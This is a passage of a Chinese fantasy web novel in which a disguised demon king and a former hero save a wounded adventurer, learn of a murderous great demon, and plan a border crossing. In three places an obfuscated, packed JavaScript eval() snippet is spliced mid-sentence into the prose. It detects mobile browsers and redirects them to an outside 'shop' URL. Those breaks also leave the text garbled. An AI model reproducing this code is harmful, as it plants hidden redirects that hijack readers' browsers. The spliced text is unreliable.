他没有立刻向尤利西斯寻求印证,那有些残酷了,之后再说也无妨。即使对于探索魔物界这样宏大且复杂的目标而言,个体的牺牲只是必然会发生的事,尤利西斯不会不能理解,但他来这种地方,可不是特地想搞尤利西斯心态的。 正思考着,叶隐的感知中忽然多出了什么东西,让他精神一振。 为了与队友沟通,他一直维持着联络魔法,顺便以此探测周围魔物的动向,而就在刚才,他的感知范围中多出了一个特别的目标。 对方的灵魂给他的感觉与寻常魔物不同,倒是更近似尤利西斯——这意味着,对方是人类,活着的人类,某种意义上来说,可能是叶隐在这个世界见到的第一个纯种人类。 顺着感应的方向,他眯起眼睛看向队伍尽头——果然,最后那只魔物驮着的不是尸块,而是一整具“尸体”! 虽然除了联络魔法的心灵感应以外,没有证据证明对方还活着,但至少,那具“尸体”是完整的,以魔物的普遍智力而言,完全有误判其已经死亡、继而直接带走的可能——这样下去,就算对方真的没有死,也离死不远了。重伤的人类绝无可能从装满魔物的巢穴中逃跑,万一错过了自杀的机会,甚至可能遭到比被分尸的同伴更痛苦的对待。 叶隐果断道:“计划有变!放弃进入母巢,直接将那支队伍拦截!队尾那只魔物驮着的人很可能还活着,把他救下来!” 26. 急救 以仿佛要将性命都抛在身后的势头,一个人影在密林中歪歪斜斜地奔跑着。 青年口鼻溢血,目光涣散,随着大口呼吸而不停咳血,已然是受了内伤。在这复杂的地势中竭力奔逃,身体早就不听使唤了,若在此刻停下,濒临休克的身体无疑会再起不能。 他已经看不清前方的路了,只能勉强避开马上就要撞到脸上的大树,其余感官更是已经浸没在黑暗中,连肾上腺素也无法挽回。他甚至不知道自己是否已经甩开了身后的魔物追兵,只是拼着最后一口气挪动身体而已。 现在停下的话,就会倒下,在他昏迷的时间里,血腥味招来的魔物足够把十个他吃干抹净……所以,必须动起来,即使下一刻就心脏骤停死掉,现在也非得动起来不可! ……实际上,在比他更强的队长和同伴都被瞬间杀死的时候,他就已经输了。 任务的难度一开始就被低估了。这支小队的每个人都得到了前往魔物界深处探险的资格,却不意味着他们能够面对任何挑战。 如果运气足够好,或许能有惊无险地完成任务,可即使有那样幸运的时刻,这片区域的冒险者依然有着高达每周百分之三十的可怕死亡率,因为运气差的时候,就会像今天的这支小队一样,唐突地遭遇到一支军队都难以匹敌的魔物,然后死去。 这片森林会吃人,这里从不欢迎任何人类。在魔物界的深处收集情报和资源这种差事,是完完全全的逆天而行。 ——从另一种意义上,也可以说这里很欢迎人类,因为人类的血肉是孕育魔物最佳的原料,这是冒险者的常识。 如果情报中附近有个母巢的事是真的,他的队伍的尸体恐怕就会被运到那种地方去,肉身和灵魂都被撕碎、重组,变成某只丑恶魔物的一部分,灵魂失去回归天地的机会,和其他可悲的灵魂碎片一同在那污秽的躯壳中挣扎,直到有幸被消灭,才能最终安息。 身为资深冒险者,那种悲惨的造物他见得多了,却极少听说有人陷入此等绝境还能全身而退。即使已经明白自己的下场也是那样,他也早已没了挣扎的意志。 上一刻还在认真为他治愈着毒素的妹妹,下一刻就被那张血盆大口咬成了整整三段——在那个时候,他就该一起去死的。 为什么偏偏是他活了下来呢? ……无所谓了,他也很快就会死掉,之后的事不提也罢。 只是……尚在家中的、年事已高的双亲,失去了长子和长女,他们的疾病和债务又该怎么办呢?难道要全部压在幼弟的身上吗? 明明妹妹也曾劝阻过他,不要来这么危险的地方,为什么他那时候没有听呢? “……!” 伴随着恶臭的气味,已然意识模糊的青年被身后一股巨力推倒在地,再起不能。 他在恍惚中意识到,压在自己身上的重力属于魔物。 原来,他和追兵间的距离从来都没有拉开……从一开始,他就没有任何逃出生天的希望。 近一吨的重量直直压在青年的背部,他听到了自己肋骨折断的声音。肺部在重压下破裂,鲜血再也抑制不住,像打开了水龙头一样汩汩从口鼻溢出,让他几乎窒息。 在生命的最后,他能做的事只有一件——做完最后一个能保卫自己尊严的仪式,那就是闭上眼睛。 …… “……好惨。” 叶隐情不自禁地绷紧了脸,有些难以直视手下这具血肉模糊的身体。 对方的确还有一些生命迹象,这是好事,但他的生命也只剩那一些迹象了,如果不是他们一行人横插一脚,他必死无疑。 叶隐是能用魔法达成治愈效果没错,但他不是医学生,穿越来的这点时间也完全不足以让他学到医学方面的知识。对于受伤如此重的人,如果浪费时间在修复小伤上,很可能会错过最佳治疗时机,甚至治疗顺序错误也可能导致更大的伤害,这些都不是现在的他能解决的问题。 好在,他们不是完全无计可施。 尤利西斯已经脱去手套,正半跪在濒死的伤者身前,面不改色地将施过净化术的双手伸入对方的胸腔,在感知神术与经验的帮助下迅速找到了一个又一个出血点。他将出血点掐住,使其止血,随后施以神术将其治愈,同时呼唤叶隐用控水魔法将胸腔中的积液清理出去,整个流程非常之高效。 肺泡、气管、鼻腔中的血被魔法轻松清理干净,出血的器官也基本止血了。短短几分钟内,一个濒死的伤者就又有了生的希望,这倒是比尤利西斯一剑将那一列魔物全部斩首的画面,更能让叶隐意识到,这个男人不是在温室中成长起来的,而是在货真价实的战场上历练过的。 “骨头能接上吗?”尤利西斯打断了叶隐的出神。 叶隐迅速回神,对自己关键时候的呆愣略感懊恼,立刻道:“我试试。” 尤利西斯的急救经验丰富,但他所掌握的神术程度有限,遇到重伤的情况,通常都是由队伍里的牧师来处理,当然,现在没有那个条件,这时候叶隐的魔法就能派上用场。 “那个,陛下……” 刚玉早就自觉地爬下了叶隐的肩膀,此时正站在一旁的空地上。它提醒道:“治愈魔法是魔物的专属魔法,和人类的神术是完全的两个东西,会在短期内导致一些奇特的魔力残留,如果在此期间有法师检查他的身体,就有发现我们的可能。” 叶隐对精细的魔法操作还是有些吃力,没有余裕一心两用,他埋头收拾着伤者的肋骨碎片,头也不抬地道:“现在管不了那么多,大不了把他在我们身边留一段时间,之后再慢慢放他回去。” 就像不能让自己的指甲立刻长好一样,叶隐没法让伤者的骨骼立刻恢复如初,不过把它固定回去还是做得到的,剩下就要看伤者的自愈能力了。 “肋骨的角度是这样,这样倾斜……”尤利西斯手把手替叶隐矫正着错误,并警告道:“要是位置出错,之后可能要重新开胸,把已经长好的骨头打断,让它重新长,你也不想那样吧?” “呃、我知道了……” 叶隐硬着头皮为伤者固定骨头,额角不自觉地渗出冷汗,连自己的汗水被希冯拿衣袖擦了去也没意识到。 救人什么的,果然还是比杀人要难太多了。即使魔法和神术的存在已经大大降低了医疗的难度,甚至在野外做开胸手术都不必担心感染,这依然不是一门复杂的学问——是几十门。 终于把伤者的胸腔合上后,叶隐长出一口气,跪坐在地上,喃喃道:“要是有一键治愈所有伤势的魔法就好了……” “最高级的牧师,甚至可以把死去几秒的尸体救活。”说着,尤利西斯将伤者侧过身来,为他治疗那些较为严重的皮外伤,“……但他们在达到那个境界之前,也是从最基本的处理做起的,所以,该学的知识不能不学。” 叶隐不觉得自己真有深入钻研医道的恒心,他已经决定把大部分精力用到研究魔法上了,不过他没有出言反驳。至少,在有可靠的牧师加入队伍前,类似的活计他都还得参与,学点知识确实没有坏处。 负责警戒的希冯忽然道:“有魔物在接近,估计是巡逻的士兵没有按时交班,让它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259010|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们发现了,我们得离开了。” 叶隐洗掉手上的污物,拄着略微有些发软的双腿站起身来,无所谓道:“那就走吧,母巢什么的先不管了,下次有机会再说。” 他指挥道:“尤利西斯,这个人你来背,你的剑我帮你拿着。希冯,清理一下附近的痕迹。刚玉……还不赶紧上来!” 正在努力爬上叶隐裤腿的黄鼠:“嘤。” …… 夜色渐深,考虑到伤者的恢复需要,以及可能有一波魔物正在四处寻找他们的因素,叶隐带着其他人钻进了附近一处山洞中,并在洞口设下了临时结界。 山洞中的原住民,一种叶隐叫不出名字的、有他膝盖高的啮齿类,正站起身体朝他“嘶嘶”地叫。不过,在叶隐靠近它们之后,它们一阵面面相觑,反而放下了戒备朝他跑来,头顶不停往他腿上蹭。 “可爱捏。”叶隐评价道。 刚玉:“?!” 它难道不比这些臭家伙可爱吗?为什么陛下反而对它一点兴趣都没有?! “不过离我们远点哦~因为你们身上有细菌和病毒。”叶隐把它们推开了。 刚玉松了口气,重新振奋起来,内心叫道:我是干净的呀!陛下来摸我呀! 山洞挺大的,深处甚至有风传来,还有滴水的声音,但叶隐不打算深入。一行人把洞口的区域占据了,由叶隐出面将那群大老鼠暂时驱赶到洞穴深处去,互不打扰,反正他们天一亮就会离开。 回到希冯搭起的临时篝火前,叶隐盘腿坐下,被尚且带着湿意的冰冷地面冻了一激灵。 望着潮湿的岩壁发了会儿呆后,他感慨道:“要是有随时随地能变出一栋房子来的魔法,或者直接钻进口袋次元的魔法就好了。” 可恶啊,他明明不想太过依赖魔法的! 该死的异世界,明明都有魔法了,还那么讲究科学干什么!魔法就应该想到什么就有什么啊,还管什么牛顿、什么爱因斯坦嘛! “想要,就自己研究。”尤利西斯说道。 他的话乍一听像在嘲讽,但继续往后听,就会意识到他是认真的:“你本身就很有天赋,加上还有魔王之血,已经具备了成为最高级法师的基础条件。如果是你的话,或许能够做到,研发出前人未曾设想过的魔法。” 叶隐侧头看向尤利西斯,对方正静静看着跳动的火苗,注意力却始终在昏迷的伤者身上,方才将其放下来的动作也很轻柔,看来是相当关心对方。 这也是难怪的,毕竟这个人看上去比叶隐还小,也就和希冯差不多年纪,只是希冯身上的野生气息总会让人忽略他才刚刚成年的现实,实际上在叶隐眼中,这个年纪的孩子就和弟弟叶澜一样,都还在应该得到照顾的范畴内。 “在魔物界活跃的冒险者,数量很多吗?”叶隐问道。 尤利西斯回道:“据我所知,拥有前往魔物界的资格的冒险者,在五位数上下,而要前往魔物界的深处,也就是现在我们所处的地方,则需要取得专门的资格,这部分就只剩下两千多人了。” “听上去不算少。” “的确不少,但不会有人长期做这种任务的。” “因为……会死?” “即使以我的实力,也不敢说次次都能全身而退,纵使这些人有资深冒险者之名,若被任务的报酬迷惑而不知抽身,死亡只是早晚的结局。” 尤利西斯低下头,看向被放置在篝火近侧的青年冒险者,目光幽幽:“亲眼看到同伴被杀的那一刻,他绝对会后悔——尤其现在他活下来了,就更是如此。” 27. 乱潮 嗒、嗒、嗒…… 微弱但有韵律的滴水声,将青年的意识从黑暗中唤醒。 他茫然睁开双眼,映入眼帘的是爬满藤蔓的岩壁,有橘红色的光影在其上闪烁。 他歪头看向身侧,光的来源是一处正在散发暖意的篝火,被切削过的石头围成一个火坑,火焰已经不是最旺盛的时候,但在石坑的保护下经久不息,一看就是野外生存经验丰富的冒险者的手笔。 我是被…救下了……? 青年恍惚着,还没彻底回神,事实上,他的记忆还停留在妹妹死去那一幕。他隐约记得那之后他逃跑了,却已经回想不起来自己当时受了多重的伤,又有多么痛苦。 这里可是魔物界的腹地,相当接近作为核心区域的魔王城,居然能在这种地方恰好碰到愿意救他的人类……他下辈子的运气恐怕都已经用光了吧。 “醒了就喝点水吧。” 不远处传来一个沉着的、特意放轻的男声,青年循声望去,未见其人,先见一颗婴儿拳头大的水球飘到跟前,他下意识张开嘴,水球便飞进了他的嘴里,被他咽下。 这水不像泉水那样甘冽,也不像雨水那样酸涩,几乎没有味道。魔法师所凝聚的水大都是这样,至少在安全性上高于任何野外水源。 冒着血腥味的嗓子终于得到了滋润,青年舔了舔嘴唇,有种劫后余生的怅然。 他努力歪头看向声音传来的方向,试图寻找恩人的所在:“是你救了我吗?非常感……” 借着篝火的光,他看清了对方的全貌,瞳孔霎时间在惊愕中缩起,声音像被掐了脖子的鸡一样戛然而止。 尤利西斯坐到青年旁边,淡淡道:“不只是我,是‘我们’救了你。” 但青年根本没有听到对方在说什么,他的视线紧紧黏在尤利西斯身上,惊得气都喘不匀了,结结巴巴道:“你、你是……!” 银发,金瞳!虽然光线很昏暗,但他不会认错的! 全世界只有一个人……严格来说是一种人,才会有这样的特征,但那个人为什么会在这里?! 尤利西斯对这样的反应早就见怪不怪了,平静道:“小声一点,有人在睡觉。” “……好、好的。”青年一哽,略微转了转头,这才发现附近不只有两个人,只是其他人都在躺着歇息。从洞口的天色来看,现在应该是后半夜,才会只有负责值夜的尤利西斯醒着。 但他现在顾不得其他,扫视一圈后便立刻转回头来,目不转睛地盯着尤利西斯看,恍惚地喃喃道:“天啊……我居然能在这种地方被勇者搭救……”他忽然想到了什么,面色一肃,“您为什么会在这里?难道是因为……” 青年没有把话说完,但猜到他想说什么并不困难,不过这个问题不能正面回答,所以尤利西斯选择了无视。反正按照他的经验,就算什么都不说,别人也会自行脑补的。 “……我明白了。”果然,青年郑重地点了点头,“请放心,我绝不会向任何人透露你们一行的行踪,用我的生命担保!” “唔……” 篝火另一侧忽地传来一声咕哝,青年看到尤利西斯的注意力瞬间就被转移了去。 叶隐揉着眼睛坐了起来,摘下符咒后的长发披散在草垫上,被他翻身时垫在了身下,扯得他皱眉,赶紧把头发从屁股下面抽了出来。 好长的头发……!青年看得目瞪口呆。 几乎没有人会带着这样的头发在野外活动,但有一种人,或许会顶着各种不便也非得留一头长发不可,那就是把头发看得比命还重要的法师。 据不完全统计,法师的资深程度通常与头发长度呈正比,如果那是真的,这位头发比身高还长的前辈,确实有资格与勇者同行。 而且……刚才对方睡着的时候他没注意,现在借着火光打量对方的眉眼,青年竟没来由地感到一阵心悸。 “哈啊……你醒了?”叶隐打了个哈欠,抬手招呼青年,“身体还有哪里疼吗?” “……” 叶隐挠了挠头,“……怎么一直盯着我看,不说话?” 在魔王城的时候,叶隐每天都会照镜子,但主要看的是头发而不是脸,实际上,他照镜子时甚至会有意避开观察自己的脸,故而他对自己某些潜移默化的改变毫无逼数。 如果他还存着刚穿越来时的照片,和现在的自己对比,就能发现魔王之血对他外貌的影响是有多么明显。哪怕是尤利西斯,都比他自己对这些变化更敏感,然而尤利西斯是不会说出来的。 青年从呆滞中猛然回神,面色微红:“啊!我……对不起!” 他紧紧绷着脸,暗地里痛骂自己:他怎么会对救命恩人、而且是勇者的同伴生出那种感觉?妹妹尸骨未寒,连他自己都才刚刚脱险,他真是个混蛋! 压下心头的烦躁,青年试探着抬了抬手臂和腰,然后缓缓爬起来走了两步,回头道:“我感觉很好,就是还有些使不上力,但走路没有问题。” 叶隐道:“你失血太多,我们又没有职业牧师,只能让你慢慢恢复,不必勉强。” “没有吗?”青年吃了一惊。 倒不是说他希望得到职业牧师的治疗,他在意的重点是,勇者的队伍居然没有职业牧师?他们可是正在执行深入魔物界腹地的艰巨任务啊! 他转过头去看了眼尤利西斯,后者身上裹着保暖用的斗篷,看不出身形如何,但仅凭他手边摆着的长剑,以及他本人的坐姿显露出的比例之优越,就足以说明他在炼体一道上相当有天赋,而且其周身气场分外沉凝,要说他的主职业是牧师,青年是断然不信的。 也许其中有什么不足为外人道的关节……青年想着,不打算追问到底。 叶隐介绍道:“我是叶隐,这是尤利西斯,那边躺着的是希冯。你叫什么?” “我是安塞尔,一个冒险家。”青年说道,“非常感激你们救了我,请问我的同伴们……” 叶隐委婉地道:“我们发现你的时候,还活着的就只有你了。” “是…吗。”安塞尔沉默下去,艰难道:“我的妹妹,她也在队伍里……” “唔……请节哀。” 说罢,叶隐捡起一块石头,丢向在后方躺着的希冯:“起床!先前让你收着的东西呢?” 这家伙醒得比他还早,无非是不想和人类打交道才装睡,真是懒货! 希冯慢吞吞爬起,见安塞尔一脸茫然,扭头在包裹里翻了翻,翻出一个用残破衣料兜住的小包,扔向安塞尔,然后又躺下睡觉去了。 安塞尔接住小包,认出了这块布料来自某位同伴的衣服,心跳不禁快了起来。他小心将布包解开,看到里面染血的徽章和发饰,默默将它们攥紧,眼泪毫无预兆地流了下来。 “当时情况紧急,没法安葬那些人的尸体,只来得及捡走这些看上去贵重的东西,现在还给你了。”叶隐道,“……不过,在这种地方土葬,好像也起不到什么作用。” 能够孕育魔物的菌丝是遍布整个魔物界的,并非只存在于母巢之中,就算他们能埋得足够深,深到能瞒过魔物的鼻子,那些尸体也不会安眠,而是会被地下的菌丝慢慢分解,继而直接或间接成为孕育魔物的养料,这是在魔物界死去的人所无法逃离的结局。 “……没关系。”安塞尔哽咽着回道,“这样就足够了,谢谢你们。” 队长的法师徽章,还有妹妹的发饰,能找回这些已经是意外之喜了,就算他什么都没能阻止,至少他还可以给公会、给队长的家人一个交代。 叶隐安静地坐着,等青年的情绪渐渐平复后,出声问道:“你的队伍都遇到了些什么,能详细说说么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263627|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安塞尔抹掉脸上的泪痕,低声道:“我们的队伍是在不久前组成的,队长卡莎常年在魔物界执行探索任务,经验丰富,所以这个任务最后被派到了我们手上。我们的目标是确认附近的母巢的存在,并绘制精确的地形图。” 这倒是巧了……叶隐想着。冒险者公会的想法居然与他不谋而合,看来这座次级母巢真是招惹了不少视线。 不过,那也是难免的,毕竟它可能是距离魔王城最近的母巢,之所以是次级,也许只是因为它刚刚诞生,不意味着它不能继续成长。它真正的价值难以估量,冒险者公会之所以想要调查它,多半就是出于未雨绸缪的心态。 安塞尔继续道:“探索一开始很顺利,但就在我们准备接近母巢的时候……在队长的警戒魔法完全没有被触动的情况下,我们遭到了袭击。” 叶隐适时问道:“袭击者是?” 安塞尔深吸一口气,咬牙切齿道:“是一只…大魔!” “它长得和人类很像,但浑身上下散发着极重的血腥味,挥舞着一条庞大的、形状怪异的三段锯子,一下就破开了我们的阵型,没人能在它面前走过两招!不过一个照面,大家就纷纷死去……”安塞尔喘了口气,“而且,它有一条很大、很长的尾巴,末端还长了一张鳄鱼似的嘴,一口就把我妹妹的身体咬成了三截…… “我拼命跑,但它没有来追我,只有普通的魔物兵来追我,我实在撑不住,被抓住了,之后……我再睁开眼,就是在这里。” “你是怎么判断它是大魔的?”叶隐问。 安塞尔回答道:“公会里有它的目击记录,以及专业人士的分析结果。它已经不止一次虐杀过冒险者了,但只有极为偶尔的一两次,有人来得及在死前将消息传回去,实际上,从来没有人从它手上生还过,我很可能是目前为止唯一一个。” “居然需要‘分析’才能知道……人类的记忆只有七年吗?” 叶隐循声看向脚边摇头晃脑的老鼠,问:“怎么,你知道那家伙的事?” “?” 安塞尔尚未被叶隐纳入联络的魔法白名单,故而完全没有听到刚玉的话,他见叶隐低着头,似乎在与地上的老鼠对话,头上不禁冒出了一个问号。 “当然知道了!我可是有五十岁呢!”刚玉自豪地扬起头颅,随后凝重道:“这个人所说的魔物,的确是大魔无疑!而且是在所有魔物中都最为好战、最为噬杀的大魔之一,刺血军团的首领,乱潮!” 叶隐想了想刚玉方才的话,道:“人类和它打过交道?那为什么没有它的情报?” “恐怕是所有目击者都被杀绝了吧。”刚玉沉吟道,“魔物界东与人类帝国西的接壤处,曾有一段时间是刺血军团的领地,在那段时间里,帝国边境的据点和村庄一度被杀到寸草不生、血流成河。在全面开战后,那家伙更加肆无忌惮,光是被他亲手杀死的人类,至少就有几十万,更别说它的整个军团了,那就是一帮只知道杀戮的疯子!” 同为魔物,它却不喜欢乱潮的作风,因为档次实在是太低了!但不得不承认的是,乱潮真的不弱,也许它有办法从它杀死的人类中直接提取灵魂来吸收?很难说。 叶隐听得眼角一抽,“这么一尊大神,现在的人居然都不认得了……那是多久之前的事?” “呃,这个……”老鼠挠了挠头,“大概是……一百多年前?” “什么,也不远嘛。”以叶隐的眼光来看是这样。 刚玉却道:“还是挺远的吧?人类二十年生一代,平民寿命至多六十年,当年的幸存者的儿子都已死绝了。” 叶隐摇摇头,不再计较这些细枝末节。刚玉虽然是长生种,实际年龄也确实不小了,但从文明的角度来看,还年轻得很呢。 安塞尔:“……”他们到底在说什么? 28. 神秘的魔王? “情况我大概知道了。”叶隐说道。 安塞尔不明白叶隐都知道了些什么,但他知道,一个强大的法师,有一万种他想都想不到的方法来获取情报。已逝的队长卡莎的魔法,在他眼里已经是神乎其技了,而这位法师可是勇者的同伴!他说知道了,那就是知道了,至于怎么知道的,别管。 安塞尔在脑中自我攻略之时,叶隐瞥了眼尤利西斯,见对方正朝他挤眉弄眼,便大致明白了安塞尔态度的由来。 看来这个人多半是因为常年在野外,没有得到尤利西斯被强制退役的消息,以为他还是勇者呢……叶隐暗暗叹了口气。 他沉吟了会儿,对安塞尔道:“虽然你保住了一条命,但附近仍然很危险,我们不能放你独自上路。正好我们打算休整一番,接下来就由你带路,带我们去最近的冒险者公会据点,没问题吧?” 一听说能与勇者小队同行,安塞尔便眉开眼笑起来,拍着胸脯保证道:“没问题,求之不得!” “顺便问问,公会最近的据点在哪里,要走多久?” “我看看……” 确定外面安全后,安塞尔走出洞穴,张望了番夜空,随后回到篝火边,指了个方向,道:“是在那边,至于距离,因为我失去意识的时候被转移过,加上之前绘制的地形图也没了,所以不太确定。我们来的时候是花了一周,回去花的时间应该也差不多。” “一天时间就足够消除治愈魔法的魔力迹象了。”刚玉说道。 于是叶隐点了点头:“那就这样决定了,先休息吧……你饿吗?” 安塞尔摸了摸干瘪的肚子,不好意思地挠了挠头,“稍微有点。半人份的干粮就足够了,可以吗?” 叶隐翻了翻包裹,拿出两块在尤利西斯的指导下做成的压缩饼干,递给对方:“不用那么客气,虽然只是临时的,但我们也是同伴,不会让你饿肚子。” 自从在梦境中学到了从分子层面转换糖类的魔法之后,叶隐就像得到了一台液压机,看到什么都想转化成食物,尤其在临走前,他一次性把仓库里的剩余食材都超级压缩了一遍,可爽了!那块超级砖头还能切分,做成普通的干粮,足够他们吃很久。 这些魔法造物的味道先不提,至少从那以后,叶隐再也不担心会饿肚子了。如今他的魔力量已经非同小可,加之身处原材料丰富的森林,来一个连他也完全养得起,当然,做热气腾腾的饭菜就是另一回事了……想到这里,叶隐又开始思念尤利西斯的料理,抬手擦了擦口水。 安塞尔的身体还在恢复,吃饱没多久便又睡下了,叶隐趁机挪到尤利西斯身边,问他:“你听说过‘乱潮’这个大魔吗?” 尤利西斯自然听到了先前叶隐与刚玉的对话,回道:“我师父提起过,我有印象。不过,按师父的说法,那家伙在近一百年前的全面战争末期后就没了踪影,甚至整个刺血军团的领地都从边境挪到了魔王城附近,被其他魔物的领地包围起来,再没有机会随意出去祸害人类了。” 叶隐略感不解,“调任?是权力斗争的结果吗?还是说,是魔王的命令?” 按刚玉所言,刺血军团战绩斐然,调往核心区域也的确是重用的表现,可对一群噬杀为乐的疯魔而言,这反而让他们失去了最大的乐趣,以及向上攀升的手段,总体而言亏爆了;对人类而言,这更是直接避免了之后可能出现的大范围牺牲。不管怎么想,这件事都是对人类那方更有利。 “不清楚呢。”刚玉说道,“按理来说,当时那位发起全面战争的的魔王,在战争末尾就被杀了,做出这个决定的至少不会是她,但能让刺血军团温顺地听候调遣的人,恐怕也只有魔王。这件事若并非魔王下令,它们是断然不会和平解决的,绝对会奋起反抗。” 见叶隐一脸思索,尤利西斯道:“我来说明一下吧……它说的那名被杀的魔王名叫‘薇’,虽然已经是百年前的人物,却是目前为止世人所知的最后一任魔王。” “怎么说?” “因为,在她之后的魔王,没有一位公开出现并表明身份,以至于人类无从知晓本应诞生的新晋魔王在何方。”尤利西斯说道,“现在的魔王是你,上一任是希恩,但希恩和你一个年纪,是在十余年前才被魔王之血选中的,那更早的时候呢? “魔王之血在世代交替时的确可能沉寂一段时间,但这中间隔了几十年,魔王之血的传承不可能完全空白,刺血军团的调任就是证据之一。那件事极有可能是薇的继任者所为,而且是在薇死后就迅速继任的魔王,不是像希恩或你这样,先被选为宿主,然后再慢慢觉醒的。只有这样才能解释,刺血军团为何在战争尚未完全结束时,就主动放弃了前线作战,转而退向后方。” “……我明白了。”叶隐若有所思,“薇和希恩中间,应该还有至少一任魔王,但没人知道他的身份,所以极可能与其有关的刺血军团调任一事也就没了下文。” 顿了顿,他看向刚玉,问道:“你们魔物内部的消息也是这样吗?你们明知道新魔王已经诞生,可魔王既然不来找你们,你们便也不去找魔王?” 刚玉鼓着嗉囊,气得跺脚:“我们当然找了啊!虽然那时候我还没诞生……但是那位魔王已经不止是不公开身份的程度了,完全就是躲着我们嘛!他本人压根没留下多少线索,乱潮又是个不能正常交流的疯子,我们是真的没辙了!” 叶隐斜眼看着它,心道:有没有一种可能,他之所以躲着你们,就是因为觉得和你们这群虫豸一起共事,完全看不到希望? 不过,身份神秘的魔王啊……能确定是他做过的事,只有刺血军团的调任一件,顶多加上几十年的隐姓埋名,这能证明对方是个致力于和平的魔王吗? 对方到底是如何成为的魔王,又是因何死去的?魔王之血在传承到希恩手里之前,都经历了些什么? ……好想知道! 叶隐蠢蠢欲动,戳了戳脑海里的系统,震声道:“魔王之血里是不是储存着历代魔王的记忆?给我康康!” 【……】 【叮~系列任务(1/?)发布:冒险者公会在魔物界据点众多,已然成了扎根于魔王领土上的一颗毒瘤。打入他们内部,把他们全部策反成你的卧底!】 【任务要求:加入冒险者公会,取得初级证书。成功奖励:时髦值+3,失败惩罚:任务链断裂,陷入临时疯狂24个小时。】 叶隐:“……” 他上上下下、反反复复看了这条信息好几遍,恨不得把系统的屁股摁在膝盖上打。 转移话题是吧!临时疯狂是吧!我呸!恶心!! 他是想去冒险者公会看看没错,但只是想打听下情报,可没打算给自己找事做!没屁用的证书他已经考了一堆了,还缺这一个吗?!要考也得考有用的啊!! 看到叶隐的面容忽然扭曲起来,尤利西斯一惊,还以为他哪里不适,伸手就往他额头探。 “你干嘛?”叶隐一脸莫名。 尤利西斯仔细探了一圈,收回手,“……没有异常。” 叶隐一怔,哭笑不得道:“没什么,就是忽然想到了某件事。” “什么事?” 叶隐眼珠一转,“我在想……冒险者的资格证有没有什么用处?” 尤利西斯道:“安塞尔的队伍,之所以能够接取深入魔物界的任务,就是因为他们队伍中全员都是资深冒险者。之前我提到过,在法律意义上,冒险者只分为‘初级’和‘高级’两个等级,而高级冒险者在他们内部通常会称之为资深冒险者,任务难度也是大致划分为这样两个等级。” “嗯嗯。” 尤利西斯拿出地图在腿上摊开,指着北边道:“我们的目的地临近世界北极,那里理论上是帝国疆域,实际上是无人区。我没有亲自去过那边,单单从地图上看,我们可选的路线并不多,其中大部分都必须先穿过边境、进入帝国境内,再继续北上。” “所以?” “这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269636|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就有一个问题——边境线不是那么容易越过的。” 叶隐指着地图中央那条弯弯曲曲的、几乎将整个行星地表一分为二的线,道:“这么长的边境线,帝国不可能在所有地方都派驻足够的兵力的,难道我们就不能找个薄弱点?” “边境的情况,和你想象中略有差距。”尤利西斯道,“边防士兵当然是有的,但边境可不止有士兵。数百年前,当时的法师就已经开发出了最早的链式结界魔法,将事先准备好的媒介每隔一段距离凿入地下,就可以在数千公里长的边境线上布设一整套互相关联的结界。” “……”那不就是魔法版的铁丝网? 尤利西斯接道:“这个魔法一经发明就得到了启用,到现在已迭代了十几次,媒介也从特定的晶石更换成了用混合材料制成的颜料,以配合各种地形,再搭配上特制的镇龙桩,强度上相当可靠,而且灵活。” 叶隐低头看了眼正竖着耳朵聆听的刚玉,俯身将它抓起,曲起食指和大拇指堵住它的耳朵,道:“但是,刚刚说到刺血军团会突入帝国领地屠戮平民,如果那个结界有这么好,就不会发生那种事了吧?” “毕竟只是一个量产型的结界,非要击破不可的话,自然是有很多办法的,我不否认这点。”尤利西斯道,“真正的关键在于另外两点:其一,这种结界不是一个整体,而是‘链式’的,它迭代十几次,唯独这个理念不曾变化过。即是说,就算它的一部分被击破,也不影响其余部分持续发挥作用,而修复和补充这个链式结界的一部分,是任何一个正规法师的必修课,这决定了它在续航方面无可匹敌。 “其二,就要说到它的功能性。通常情况下,结界会阻止任何人通过,但结界的术式中内置了后门,可以调整为允许特殊群体通过的模式,比如持有通关证明的冒险者,经过检测就能穿过结界,可如果强行干涉甚至破坏结界,就会触发警报。 “警报的痕迹会先后传输到最近的据点、最近的基地,最后录入有关部门的数据库中。即使当时侥幸没有被抓住,事后也难以逃脱追查,因为会这么做的通常只有人奸,所以帝国对私自越境的处罚是一律死刑的,追捕力度也异常之大……” “行了行了!我知道了,别念了。”叶隐听得头疼,“总之你的意思就是,我们最好用正规手段通关,对吧?” 怪不得系统会要求他加入冒险者公会,策反什么的都无所谓,但通关还真的需要这玩意。 系统果然不会发布无意义的任务——不,最开始还是有无意义的任务的——哎,这不重要! 尤利西斯闭嘴点头。 “所以,加入冒险者公会,就能拿到通关证明?” 